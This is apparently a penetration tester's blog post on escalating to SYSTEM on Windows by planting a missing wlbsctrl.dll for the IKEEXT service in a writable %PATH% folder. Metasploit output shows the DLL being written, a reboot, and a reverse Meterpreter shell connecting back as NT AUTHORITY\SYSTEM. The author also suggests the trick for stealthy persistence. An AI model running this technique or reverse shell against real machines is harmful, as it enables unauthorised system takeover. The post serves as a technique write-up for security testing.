Basically the IKEEXT service, which is often set to 'Automatic' start is missing the wlbsctrl.dll and Microsoft have no intention of fixing it. To exploit this vulnerability another weakness must be present on the box. The %PATH% must contain a user writeable folder (or one the user can create). By creating the missing DLL even if the user cannot start the service they will likely be able to reboot the machine, catching the SYSTEM shell when it reboots.
msf exploit(ikeext_service) > exploit -j [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.121:4444 [*] Checking service exists... [!] UAC is enabled, may get false negatives on writable folders. [*] Checking %PATH% folders for write access... [*] Path C:\Windows\System32\WindowsPowerShell\v1.0\ does not exist... [*] Path C:\Program Files\Microsoft Windows Performance Toolkit\ does not exist... [+] Write permissions in c:\bin - RW [*] Writing 14336 bytes to c:\bin\wlbsctrl.dll... [*] Launching service IKEEXT... [*] Unable to start service, handler running waiting for a reboot... sessions -i 3 [*] Starting interaction with 3... meterpreter > reboot Rebooting... meterpreter > [*] 192.168.1.11 - Meterpreter session 3 closed. Reason: Died [*] Sending stage (752128 bytes) to 192.168.1.11 [*] Meterpreter session 4 opened (192.168.1.121:4444 -> 192.168.1.11:49155) at 2013-09-05 23:04:03 +0100 [+] Deleted c:\bin\wlbsctrl.dll msf exploit(ikeext_service) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 4 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ IE11WIN7 192.168.1.121:4444 -> 192.168.1.11:49155 (192.168.1.11)This exploit could also be a sneaky persistence technique... and don't forget to switch targets for x64 systems.
You can find other exploits using techniques like this from Mubix, or more in-depth coverage can be found on binaryplanting.com. If you don't understand how bypassuac works then this is also worth a read.